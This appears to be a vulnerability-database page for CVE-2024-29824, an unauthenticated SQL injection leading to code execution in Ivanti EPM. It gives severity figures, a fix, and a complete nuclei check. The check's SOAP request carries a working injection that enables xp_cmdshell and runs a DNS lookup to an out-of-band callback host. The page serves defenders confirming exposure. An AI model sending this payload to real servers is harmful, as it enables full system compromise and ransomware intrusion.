Ivanti EPM - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-10-02; known to be used by ransomware.

criticalseverity

9.6CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.

Impact

Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.

Fix

Apply security updates for Ivanti EPM that address CVE-2024-29824.

How to confirm it

Send: POST /WSStatusEvents/EventHandler.asmx
Positive when: contains in content_type "application/soap+xml" AND contains "UpdateStatusEventsResponse" AND contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2024-29824 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-29824

info:
  name: Ivanti EPM - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    An unspecified SQL Injection vulnerability in Core server of Ivanti EPM 2022 SU5 and prior allows an unauthenticated attacker within the same network to execute arbitrary code.
  impact: |
    Attackers can execute arbitrary code on the Ivanti EPM server, leading to complete system compromise.
  remediation: |
    Apply security updates for Ivanti EPM that address CVE-2024-29824.
  reference:
    - https://github.com/horizon3ai/CVE-2024-29824
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29824
    - https://forums.ivanti.com/s/article/Security-Advisory-May-2024
    - https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2024-29824
    epss-score: 0.99938
    epss-percentile: 0.99971
  metadata:
    max-request: 1
  tags: cve,cve2024,ivanti,epm,sqli,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /WSStatusEvents/EventHandler.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml

        <?xml version="1.0" encoding="utf-8"?>
        <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
          <soap12:Body>
            <UpdateStatusEvents xmlns="http://tempuri.org/">
              <deviceID>string</deviceID>
              <actions>
                <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
                  <status>GoodApp=1|md5='; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'nslookup {{interactsh-url}}'--</status>
                </Action>
              </actions>
            </UpdateStatusEvents>
          </soap12:Body>
        </soap12:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - 'application/soap+xml'

      - type: word
        part: body
        words:
          - 'UpdateStatusEventsResponse'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from